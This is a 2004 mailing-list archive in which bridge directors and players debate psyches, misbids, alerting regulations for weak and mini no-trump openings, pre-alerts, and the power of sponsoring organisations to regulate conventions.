richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 27 Jul 2004 15:17:33 +1000 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: [snip] >>(d) WBF solution - Grattan Endicott moots >>a Law change for WBF events, on the grounds >>that it is "unethical" to be poorly prepared for >>a world championship event. Grattan Endicott: >+=+ I have heard such discussions around, it >is true. And as co-ordinator I have toyed with >precautionary drafts - but not on grounds that it >is 'unethical'. More a question of courtesy to >opponents or duty to the tournament or >standards required of players, something like >that. > ~ Grattan ~ +=+ Richard Hills: My apologies for an un-nuanced use of the term "unethical". In mitigation, I plead that this idea mooted by Grattan was a talking point in a posting that Grattan used to start a thread some years ago. Grattan's own title for his posting was, "Long on ethics". Anyway, since courtesy to all three opponents is contained in Law 74A2, which is part of the Proprieties, I will withdraw "unethical" and replace it with the more nuanced term "improper". :-) Best wishes RJH From siegmund@mosquitonet.com Tue Jul 27 06:01:24 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 26 Jul 2004 21:01:24 -0800 (AKDT) Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: On Tue, 27 Jul 2004 richard.hills@immi.gov.au wrote: > No doubt the 2006 version of the Laws will contain a specific > and explicit clause permitting a sponsoring organisation to > prohibit as many psyches as it pleases (from 0% to 100%). > > I can live with that. If I had never psyched in my entire > bridge career, I would have been far more successful in > bridge competitions. (But I would have had far less fun.) > > What I strongly object to, is that the same people who wish to > outlaw psyches, also seem to have a creeping agenda to outlaw > misbids. I have news for you: you *can't* outlaw one without also outlawing the other. They are exactly the same thing - a call which deviates from your announced system without warning. The only difference is in the state of mind of the bidder at the moment he reaches for the bidding box... and we already know how difficult it is to read people's minds, so we have all these "could have known..."-type laws that let us call people cheats without getting sued. I daresay that if psyching is banned, there are several members of this list, possibly myself included, whose abilities to correctly remember system are going to mysteriously diminish overnight - while is misbidding is banned, our memories will suddenly return, whilst the bunnies vanish in the direction of the nearest casino or television set. GRB From hermandw@hdw.be Tue Jul 27 08:19:54 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 27 Jul 2004 09:19:54 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4106021A.9000304@hdw.be> Hello Richard, as usual, I like your literary sidebars; but let's focus on the bridge part: > > Herman De Wael: > > >>>What can some hope depend on? nothing >>>else but parts of conversations, >>>shared experience, systems with others, >>>habits in your area, and the like. All >>>these need to be disclosed, and the >>>best way to do so is simply to disclose >>>what you think. > > > > Richard Hills: > > A fundamental flaw in the De Wael School, > is that it makes the facile assumption > that all hope has some rational basis. > So what? I don't see what's wrong with that assumption, or that it is wrong in the first place. > Both Ed Reppert and myself (and, I think, > many other blmlers) have sometimes called > with a fool's hope - neither an explicit > nor an implicit agreement - that our > totally undiscussed call would be guessed > right by pard. > > Of course, in most cases, our totally > undiscussed call has been guessed wrong > by pard, leading to a debacle. > And this is indeed not the case I am talking of. > But, on those rare occasions when pard > has guessed right, pard's correct guess > did not ex post facto "prove" that we had > a pre-existing mutual partnership > agreement. > No, of course it does not. But the burden of proof is not on the director, but on the pair, who have to prove that no agreement actually exists! > A fool's hope by one partner is *not* a > mutual agreement of both partners. > No it's not. But where are you going to draw the line between the fool's hope and the ordinary bridge player's hope. On saturday night I participated in a 24 hour tournament. Two clubs were playing for 24 hours, 2 pairs each. Of course those pairs were often changed, but I took a 7-hour session from 11 to 6. I was partnering a friend that I know quite well as a fellow director, but with whom I had never played before. Actually, we usually play in different clubs in Antwerp. After some 10 minutes discussion, we had quite a deep understanding of system, but of course over 56 boards some unseen things will come up. So when I next needed to call something, I simply relied on the "Squeeze" standard. He relied on the "Riviera" standard, and then we shared the fool's hope that these standards were the same. Now how do we, as directors, decide whether these two individuals knew or did not know that the two standards were in fact the same? And don't forget that the opponents (not from Antwerp at all) have no idea of either the Squeeze or the Riviera standard, or even of the basics of the conventions in the first place. If 2 players have the same idea about the meaning of a bid, does it really matter if they have discussed this between themselves, with a known mutual partner, or with some unknown mutual partners? All I'm saying is that I won't be hiding behind "fool's hope", but that I'll be explaining how I interpret the bid. If I have interpreted wrongly, I can still go for fool's hope; but I won't answer "no agreeement" without further explanation. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Tue Jul 27 07:25:33 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 27 Jul 2004 08:25:33 +0200 Subject: [blml] Deceiving and destroying References: Message-ID: <000201c473af$98d23300$0efaf1c3@LNV> > > What the heck is ambiguous about the following statement from the official > EBL alerting policy on their website? > > If screens are not in use, do NOT alert the following: > 2. Any no-trump bid which suggests a balanced or semi-balanced hand, or > suggests a no-trump contract. > > A mini-NT is NOT alertable. Any TD who ruled otherwise in an EBL event > should be sent home in disgrace! This is surely not a matter for > "interpretation", nor should we support the idea that individual TDs are > entitled to overrule the published CoC. While I agree with Ton that his > "instruction" creates an obligation to alert I think this is grossly > unfair on the pair concerned and the situation should have lasted no > longer than it took the TD to check the EBL regs - nb I assume that EBL > regs are implicit (at least) in EBL competition. > > Tim Good research Tim. It would have been better even if you had tried to find out whether this regulation applied during this event. And it didn't as far as I remember. Reading my message carefully you could have noticed that it didn't. You still owe me an explanation about 'grossly unfair on the pair'. It seems to say that taking away an advantage by not allowing undisclosed agreements is not a fair approach. But you can't mean that, do you? ton From wayne.burrows@xtra.co.nz Tue Jul 27 09:49:02 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 20:49:02 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <000201c473af$98d23300$0efaf1c3@LNV> Message-ID: <000801c473b6$91458130$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Tuesday, 27 July 2004 6:26 p.m. > To: twm@cix.co.uk; blml@rtflb.org > Subject: Re: [blml] Deceiving and destroying > > > You still owe me an explanation about 'grossly unfair on the > pair'. It seems > to say that taking away an advantage by not allowing > undisclosed agreements > is not a fair approach. But you can't mean that, do you? > This undisclosed agreement ... was it on their convention card? Wayne From grandeval@vejez.fsnet.co.uk Tue Jul 27 09:40:29 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Tue, 27 Jul 2004 09:40:29 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> Message-ID: <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Professional men, they have no cares, Whatever happens, they get theirs." [Ogden Nash] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "WILLIAM SCHODER" To: "blml" ; "Endicott Grattan" Sent: Tuesday, July 27, 2004 1:29 AM Subject: Re: [blml] Deceiving and destroying > Exception to WHAT? 40A? Come on now, 40A talks about rights of calling and > playing. 40D Talks about Regulation of Conventions. It takes more than a > twist of logic for me to make D an Exception to A. D was added some time ago > to pacify the high level players (even if they weren't so high level but > thought themselves to be so) when they got bad results from not paying > attention to the game. D was a boldfaced attempt to make the game of bridge > something it had not been up until then. It gave the sponsoring > organization the right to remove the uncertainty principle upon which all of > bridge had been predicated in the past, and relieved the "expert" of being > wrong. It is interesting -- to me -- that the impulse to move in this > direction has come almost exclusively from the political side of the house, > and from those "experts" who got bad results during my 40 years as as TD. > +=+ Your history is flawed. This view that the power to regulate conventions is an unlimited power was supported by the WBFLC under Ed Theus' chairmanship before you joined it, and has been maintained consistently since then. Wayne merely does not accept the authority of the WBFLC to interpret the meaning of the laws, but that is his problem with authority. The world moves on. In the 1975 Laws, devised under the chairmanship of Geoffrey Butler, the relevant clause was "40(c) the Sponsoring Organisation may regulate the use of conventions". I repeat that the power to regulate conventions has been determined on repeated occasions to allow of the prohibition of their psyching, overriding in the case of conventions the general statement in 40A, and the WBF, the EBL and the ACBL, have all made use of this power. In the meantime it will be interesting to see whether the prohibition in the Supplementary Conditions of Contest for the Olympiad 2004 will be extended in the Systems Policy or in the General Conditions of Contest to apply in all categories of WBF tournaments as a leading authority has proposed. ~ Grattan ~ +=+ From wayne.burrows@xtra.co.nz Tue Jul 27 10:43:45 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 27 Jul 2004 21:43:45 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> Message-ID: <000c01c473be$35a51bd0$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Tuesday, 27 July 2004 8:40 p.m. > To: blml > Subject: Re: [blml] Deceiving and destroying > > > > grandeval@vejez.fsnet.co.uk > [also gesta@tiscali.co.uk] > ********************************** > "Professional men, they have no cares, > Whatever happens, they get theirs." > [Ogden Nash] > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ----- Original Message ----- > From: "WILLIAM SCHODER" > To: "blml" ; "Endicott Grattan" > Sent: Tuesday, July 27, 2004 1:29 AM > Subject: Re: [blml] Deceiving and destroying > Wayne merely does not accept the authority of the WBFLC > to interpret the meaning of the laws, but that is his problem > with authority. My problem is with laws and regulations that do not say what they mean. And with regulators that given the right to regulate conventions do not stop there they also regulate non-conventional bids. Wayne From twm@cix.co.uk Tue Jul 27 10:46:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 27 Jul 2004 10:46 +0100 (BST) Subject: [blml] Deceiving and destroying In-Reply-To: <000201c473af$98d23300$0efaf1c3@LNV> Message-ID: Ton wrote: > Good research Tim. It would have been better even if you had tried to > find out whether this regulation applied during this event. And it > didn't as far as I remember. > Reading my message carefully you could have noticed that it didn't. I assume you mean the event was played with screens, I admit to being surprised that screens were in use (if the event was of sufficient calibre to justify screens then we should not be contemplating the idea of a mini NT as surprising IMO). Or did you mean the event was not an EBL one despite being described as "European". IIRC under French alerting rules both the mini and weak NT would be alertable. > You still owe me an explanation about 'grossly unfair on the pair'. It is unfair for a TD to instruct players to disobey EBL alerting regulations is what I meant. While the are unlikely to be penalised for such disobedience it remains possible. The alert also opens the gates to the "French Defence" of asking to show values - a potent weapon against a mini NT and not something we would wish to encourage. > It seems to say that taking away an advantage by not allowing > undisclosed agreements is not a fair approach. But you can't mean that, > do you? Undisclosed? Did the pair not have CCs? Were they not following the EBL regulations (even if nobody knows what regs applied)? I would have no objection to you requiring the pair to play a "standard" NT until CCs had been completed, or requiring them to advise opps of their methods before each round. Tim From twm@cix.co.uk Tue Jul 27 10:46:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 27 Jul 2004 10:46 +0100 (BST) Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: Richard wrote: > Following the bit about balanced 1NT openings > being notionally non-alertable is an important > caveat: > > >>>Nevertheless, players must respect the spirit > >>>of the Policy as well as the letter. Whatever the "spirit" of the policy it cannot directly contradict the letter. When I play under WBF regs I pre-explain the unusual ranges of my 1NT bid and the fairly frequent off-shape nature. This seems to me to support the spirit of disclosure and would have been a request within the TDs powers. I do not alert the 1N bids themselves since I believe I am expressly forbidden from so doing. Tim From Frances.Hinden@Shell.com Tue Jul 27 11:08:15 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 27 Jul 2004 11:08:15 +0100 Subject: [blml] Deceiving and destroying Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816CC6@lonsc-s-031.europe.shell.com> > > What the heck is ambiguous about the following statement from the = official > EBL alerting policy on their website? > > If screens are not in use, do NOT alert the following: > 2. Any no-trump bid which suggests a balanced or semi-balanced hand, = or > suggests a no-trump contract. > > A mini-NT is NOT alertable. Any TD who ruled otherwise in an EBL = event > should be sent home in disgrace! This is surely not a matter for > "interpretation", nor should we support the idea that individual TDs = are > entitled to overrule the published CoC. While I agree with Ton that = his > "instruction" creates an obligation to alert I think this is grossly > unfair on the pair concerned and the situation should have lasted no > longer than it took the TD to check the EBL regs - nb I assume that = EBL > regs are implicit (at least) in EBL competition. > > Tim Good research Tim. It would have been better even if you had tried to = find out whether this regulation applied during this event. And it didn't as = far as I remember. Reading my message carefully you could have noticed that it didn't. You still owe me an explanation about 'grossly unfair on the pair'. It = seems to say that taking away an advantage by not allowing undisclosed = agreements is not a fair approach. But you can't mean that, do you? ton ----------------------------------------- If the TD decided that the regulations meant that a mini NT should be = alerted, then it should be announced (e.g in the Bulletin) and everyone playing = the=20 mini should alert. It just seems bizarre to me to make one particular = pair alert it. From blml@blakjak.com Tue Jul 27 13:20:40 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jul 2004 13:20:40 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: <004401c472f4$91f97d10$ae81b6d4@LNV> References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <002c01c47227$58580130$5a81b6d4@LNV> <004401c472f4$91f97d10$ae81b6d4@LNV> Message-ID: Ton Kooijman wrote > >> Ton Kooijman wrote >> >> >> Sorry David - this is crap! It's all alertable - even pre-alertable. >I'd >> >> never be deceived, unless they didn't alert. >> >> >> >> Any players/partnership worth their/its salt will have defensive >methods >> >> available to stop this from causing a problem. >> >> >Well, well: 'Crap' for such modest man. David is right that a pair >bidding >> >as he described gets undeserved advantages that should not be allowed. >> >But then others are right expressing their doubts about the regulation >the >> >EBU has made to prevent this. It is a non-bridge approach to a non-bridge >> >attitude in my opinion. And how to make a distinction between agreements >> >with the main purpose to deceive opponents and those with better reasons? >> >> Why is it a non-bridge approach? The English regulations allow some >> conventions ot be played, others not. Explain why disallowing this type >> of convention is not a bridge approach to which ones we allow, please. > >You follow a wrong approach in my opinion. Shooting the locust plague with >single bullets > >I don't mind a pair playing this kind of transfers, as long as they play it >honestly. What do you do if a pair uses this convention and tells its >opponent about it before starting play? >Do you allow me to say that there are no deceiving conventions, but only >deceiving players? And deceiving players should not be allowed to play. Be >brave and use L40B to throw them out. > >Or introduce something I really would like to try out. Let players tell what >the meaning of the calls is in the first two bidding rounds. > >In the European mixed in Bordeaux an English pair (probably more than one) >played 10 - 12 1NT openings and their opponents felt deceived. (The >regulations did not make clear that this 1NT should be alerted, and it >wasn't) . After the ruling which I don't remember anymore, I told this pair >to alert this 1NT. And then they told me that they refused to do that. There >was no obligation to do so, they said. It took some time to explain them >that my instruction made it an obligation for them to alert this call. It >never occurred to me to forbid them to play this opening bid. the 10-12 opening has technical merit. There is no reason to ban it because it is successful. But that is no reason to allow a convention that has no technical merit whatever. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Jul 27 13:27:02 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jul 2004 13:27:02 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: wrote > > > > >William Schoder: > >>And is there anyone out there who thinks that this >>is "proper?" What a bunch of tripe! The only ones >>that I can think of who feel it is destructive to >>bridge are those whose income depends upon the >>opponents bellying up and never putting them to >>the test. But then, they are a growing source of >>advice as to what the Laws of Bridge should be. >> >>Kojak > >Richard Hills: > >Agreed. Let us examine three case studies. > >1. Problem - a Highly Unusual Method (HUM) > >(a) Best practice solution - Full prior disclosure, >full contemporaneous disclosure, effective and >efficient written countermeasures permitted at the >table for the HUMmingbirds' opponents. > >(b) ACBL solution - Ban all HUMs. > >2. Problem - CPU pseudo-psyches > >(a) Best practice solution - Record psyches, take >Law 40B action against pairs when frequency of a >particular kind of psyche metamorphoses them into >CPU pseudo-psyches. > >(b) WBF solution - Ban all artificial psyches. > >3. Problem - Misbids & CPU pseudo-misbids > >(a) Best practice solution - Ensure that real >misbidders are not punished for the sins of CPU >pseudo-misbidding liars. > >(b) ACBL solution - Adopt the Monty Wolff solution >of penalising the non-existent infraction of >convention disruption. > >(c) EBU solution - Adopt the De Wael School of >ruling that almost all truthful misbidders are >deemed to be (for the purposes of the Law 75 >footnote) pseudo-misbidding liars. This is a very objectionable statement. it is completely untrue, and I am surprised you say it. You may not like the EBU solution - after all, English players like it, and what do they know about playing bridge in England? - but deliberately misdescribed the method because of your dislike seems like an attempt to mislead BLML as to what the English method is. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Jul 27 13:29:35 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jul 2004 13:29:35 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: RJH wrote > > > > >David Stevenson: > >[snip] > >>Of course, we have no pre-alerting here. But if we did >>would you really listen to this pair as they explained >>***every single thing they played of this sort***? > >Richard Hills: > >I think that a better statement about EBU alert regs >would be, "*Not yet*, we have no pre-alerting here." On >the EBU website is an announcement that the EBU is about >to revise the Orange Book (which incorporates the EBU >alert regs). An earlier announcement on the EBU website >specifically asked for submissions on improved EBU alert >regs. > >Also, I disagree with David's second point. A letter to >the ABF Newsletter objected to the new emphasis the ABF >has placed on pre-alerting on the same grounds. The >author argued that he played such a complicated system >that it was impossible to pre-alert all of it. > >But, if we carry the argument to its logical conclusion, >all explanations should be banned, as all partnerships >have subtle negative inferences in their agreements >which would take too long to explain. > >Rather, pre-alerting merely needs a good faith warning >of *key* and *probable* unusual agreements. The fact >that I unusually (for Australia) play a *rare* 4NT >opening bid as Acol Blackwood is something that I have >never pre-alerted. This completely ignores the problem. We are not talking of a pair that plays strange 4NT bids: we are talking of a pair that deliberately takes normal-sounding sequences and twists their meaning so as to mislead. How many normal-sounding sequences do you think you can take in? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Jul 27 13:32:05 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jul 2004 13:32:05 +0100 Subject: [blml] Deceiving and destroying In-Reply-To: References: Message-ID: <0GCCtvHFtkBBFwQg@blakjak.demon.co.uk> RJH wrote >No doubt the 2006 version of the Laws will contain a specific >and explicit clause permitting a sponsoring organisation to >prohibit as many psyches as it pleases (from 0% to 100%). [s] >Why should lucky misbids be Lawfully penalised by a Law change? Since a psyche and a misbid are different animals, why should a law-change about one affect the other? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Tue Jul 27 13:41:06 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 27 Jul 2004 08:41:06 -0400 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: <4106021A.9000304@hdw.be> References: <4106021A.9000304@hdw.be> Message-ID: <6.1.1.1.0.20040727083242.02a36a20@pop.starpower.net> At 03:19 AM 7/27/04, Herman wrote: >If 2 players have the same idea about the meaning of a bid, does it >really matter if they have discussed this between themselves, with a >known mutual partner, or with some unknown mutual partners? Of course it does. If they have no awareness of any mutual basis for their "same idea", it must derive from their "general knowledge and experience", else that phrase has no meaning. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From schoderb@msn.com Tue Jul 27 13:50:29 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 27 Jul 2004 08:50:29 -0400 Subject: [blml] Deceiving and destroying References: <0GCCtvHFtkBBFwQg@blakjak.demon.co.uk> Message-ID: snip > >Why should lucky misbids be Lawfully penalized by a Law change? > > Since a psyche and a misbid are different animals, why should a > law-change about one affect the other? snip Yes they are different animals, but you seem unaware of the movement that misbids be treated the same as we now treat psyches(sic). Not yet a fait acompli -but beware the rumblings in the night! Forgetting, making a bridge systemic mistake, playing the wrong card which kills the opponents, all will take precedence over such "sins" as infidelity, need for personal hygiene, or paying your bills. Kojak From ehaa@starpower.net Tue Jul 27 14:11:53 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 27 Jul 2004 09:11:53 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: References: <001301c47207$ca8a8630$9e2ec2cb@noeltsui0kso1i> <002c01c47227$58580130$5a81b6d4@LNV> <004401c472f4$91f97d10$ae81b6d4@LNV> Message-ID: <6.1.1.1.0.20040727090142.02ab43b0@pop.starpower.net> At 08:20 AM 7/27/04, David wrote: > the 10-12 opening has technical merit. There is no reason to ban > it because it is successful. > > But that is no reason to allow a convention that has no technical > merit whatever. But whether a convention has any "technical merit whatever" is a matter of opinion. And it is only the prospective user of that convention whose opinion has any justification for being determinative. Otherwise we must entrust the "No Technical Merit" rubber stamp to some arbitrarily chosen authority, who can then make any method they choose disappear simply by applying their stamp, in much the same way George Bush can make people disappear with his "Illegal Enemy Combatant" stamp. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From schoderb@msn.com Tue Jul 27 14:13:36 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 27 Jul 2004 09:13:36 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> Message-ID: My history may be "flawed" but I was a TD (club level to be sure) in 1955, and became an ACBL TD in 1960. I stand by my comments, that using 40D to prohibit what is specifically allowed by 40A is a subterfuge and stretch of language logic. As a WBF TD since 1972 I had, of course, followed the Laws as interpreted by the WBFLC. That doesn't mean that I have to like them or not resist the encroaching tide to change bridge from a game to a strictly regimented activity in which only those with superior knowledge, whose mistakes can be covered by 25 B 2 (b) (2), (and the 1975 law 75B about tricks taken which has thankfully been changed) can win. I foresee, sadly, that we will be faced by some of the following should the present trend continue: 1. Drive many players away from organized tournaments. 2. Cause clubs and similar entities to ignore the Laws. 3. Establish the need for differing Laws for differing levels of play. (May have merit if thoroughly investigated) 4. Recompense a very small number of officials and experts both emotionally and financially for their efforts. (Please remember that if you are given power and authority and don't exercise them you have been given nothing.) I used to play in a game in Washington DC during the 60's which required that you play Kaplan-Sheinwold. Everybody played the same system - including semi-mandatory psychic bids, psychic controls, mistakes in the system, calls that were impossible, and had a grand time. Under present Laws you cannot play Kaplan-Sheinwold in its entirety anymore. Sad. When you can no longer win in this game while making mistakes, intentionally or stupidly, we are going to lose the numerical and financial support that gives organized bridge its life. Do we remember the regulations in ACBL about weak two bids -- point count requirements, length of suit requirements, etc., that fortunately were abolished? Will you be allowed to falsecard? Must all your preempts conform to published shape and size? Will bidding a slam off two cashable aces (and making it) be forbidden? We will then maybe have two games, one for the players, and the other for the "Elite" who apparently would rather be playing chessbridge. Will Conditions of Contest continue and add more statements whose purpose is to satisfy individual proclivities while violating the Laws? Beware the Regulators! Kojak ----- Original Message ----- From: "Grattan Endicott" To: "blml" Sent: Tuesday, July 27, 2004 4:40 AM Subject: Re: [blml] Deceiving and destroying > > grandeval@vejez.fsnet.co.uk > [also gesta@tiscali.co.uk] > ********************************** > "Professional men, they have no cares, > Whatever happens, they get theirs." > [Ogden Nash] > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ----- Original Message ----- > From: "WILLIAM SCHODER" > To: "blml" ; "Endicott Grattan" > Sent: Tuesday, July 27, 2004 1:29 AM > Subject: Re: [blml] Deceiving and destroying > > > > Exception to WHAT? 40A? Come on now, 40A talks about rights of calling > and > > playing. 40D Talks about Regulation of Conventions. It takes more than > > a > > twist of logic for me to make D an Exception to A. D was added some time > ago > > to pacify the high level players (even if they weren't so high level but > > thought themselves to be so) when they got bad results from not paying > > attention to the game. D was a boldfaced attempt to make the game of > bridge > > something it had not been up until then. It gave the sponsoring > > organization the right to remove the uncertainty principle upon which > > all > of > > bridge had been predicated in the past, and relieved the "expert" of > > being > > wrong. It is interesting -- to me -- that the impulse to move in this > > direction has come almost exclusively from the political side of the > house, > > and from those "experts" who got bad results during my 40 years as as > > TD. > > > +=+ Your history is flawed. This view that the power to > regulate conventions is an unlimited power was supported by > the WBFLC under Ed Theus' chairmanship before you > joined it, and has been maintained consistently since then. > Wayne merely does not accept the authority of the WBFLC > to interpret the meaning of the laws, but that is his problem > with authority. The world moves on. > In the 1975 Laws, devised under the chairmanship of > Geoffrey Butler, the relevant clause was > "40(c) the Sponsoring Organisation may regulate > the use of conventions". > I repeat that the power to regulate conventions has been > determined on repeated occasions to allow of the prohibition > of their psyching, overriding in the case of conventions the > general statement in 40A, and the WBF, the EBL and the > ACBL, have all made use of this power. In the meantime it > will be interesting to see whether the prohibition in the > Supplementary Conditions of Contest for the Olympiad 2004 > will be extended in the Systems Policy or in the General > Conditions of Contest to apply in all categories of WBF > tournaments as a leading authority has proposed. > ~ Grattan ~ +=+ > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From emu@atrax.net.au Tue Jul 27 15:16:55 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:16:55 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <169CAD4C-DE65-11D8-8D57-0003936A6522@gordonrainsford.co.uk> Message-ID: <000201c473e4$641545f0$c22fc2cb@noeltsui0kso1i> They are here too. Pre-alerts might not exist where you are, and that = is fine - my response does not rely on that. The CC should have some indication; in any case, if I don't know my opponents, I generally ask = at the start of a round what their opening NT shows and what general = methods they use over it. That can't cover everything, but it's a start. They = have to alert practically everything over that here (1NT:3NT, 1NT:4H/S, = 1NT:4NT being the obvious exceptions of course). regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Gordon Rainsford Sent: Monday, July 26, 2004 4:05 AM Cc: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying On 25 Jul 2004, at 06:25, Noel and Pamela wrote: > Sorry David - this is crap! It's all alertable - even pre-alertable. > I'd > never be deceived, unless they didn't alert. > > Any players/partnership worth their/its salt will have defensive > methods > available to stop this from causing a problem. > > regards, > Noel You obviously assume a different set of alerting regulations from those=20 in force in the jurisdiction where the example comes from. In the EBU=20 there are no pre-alerts. In the EBU transfer bids and completions are=20 alertable. -- Gordon Rainsford London UK _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Jul 27 15:16:55 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:16:55 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: <000101c473e4$6239f640$c22fc2cb@noeltsui0kso1i> Well, sorry if you don't like my words, but it is! There is NO problem to fix as it is presently described. If some players come to a tournament and make ridiculous bids that are designed to ruin the event, then there are better ways to get rid of them - a 'non-bridge solution' - and besides, they will tire of it pretty quickly anyway. I play a strong 1C - people bid over it in a attempt to 'destroy' our relay methods. Should this be banned? Looks like you think it should. Bravo! I'd love people to be stopped from interfering in, nay 'Destroying', my relay sequences. You'll be banning 'false carding' next - it's 'deceiving'! regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of David Stevenson Sent: Monday, July 26, 2004 6:11 AM To: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying Wayne Burrows wrote >> Noel and Pamela wrote >> >Sorry David - this is crap! It's all alertable - even >> pre-alertable. I'd >> >never be deceived, unless they didn't alert. >> >> I am pleased that you are so much better than the majority of >> players. However, I like ot protect the lesser players as well. Of >> course, we have no pre-alerting here. But if we did would you really >> listen to this pair as they explained ***every single thing they >> played of this sort***? >If you don't like pre-alerting then perhaps disclosure of this method >after the auction and before the opening lead would be appropriate. It is not a question of what I like. It is a question of how the game is run under this jurisdiction. Why on earth should a pair that is trying to gain an unfair advantage while pretending it is in the rules do anything helpful that they are not forced to? No doubt there are various solutions to the problem. We have produced one and are told "this is crap" and "a non-bridge solution" -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Tue Jul 27 15:16:55 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 28 Jul 2004 00:16:55 +1000 Subject: [blml] Deceiving and destroying In-Reply-To: <000a01c4723d$1c833970$d4bc87d9@yourtkrv58tbs0> Message-ID: <000901c473e4$6b6fe710$c22fc2cb@noeltsui0kso1i> And they get everything they deserve! regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Grattan Endicott Sent: Sunday, July 25, 2004 6:56 PM To: blml@rtflb.org Subject: Re: [blml] Deceiving and destroying grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Comment is free but facts are on expenses." ~ Tom Stoppard ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "David Stevenson" To: Sent: Sunday, July 25, 2004 2:34 AM Subject: Re: [blml] Deceiving and destroying > > There was no technical merit in any of this: they played > it so as to confuse the opponents, especially to get > favourable opening leads. Of course they explained it if > asked, but how many people ask on these sequences? > +=+ Even if it is described on the CC and alerted there are some who would not think to ask. ~ G ~ +=+ _______________________________________________ blml mailing list 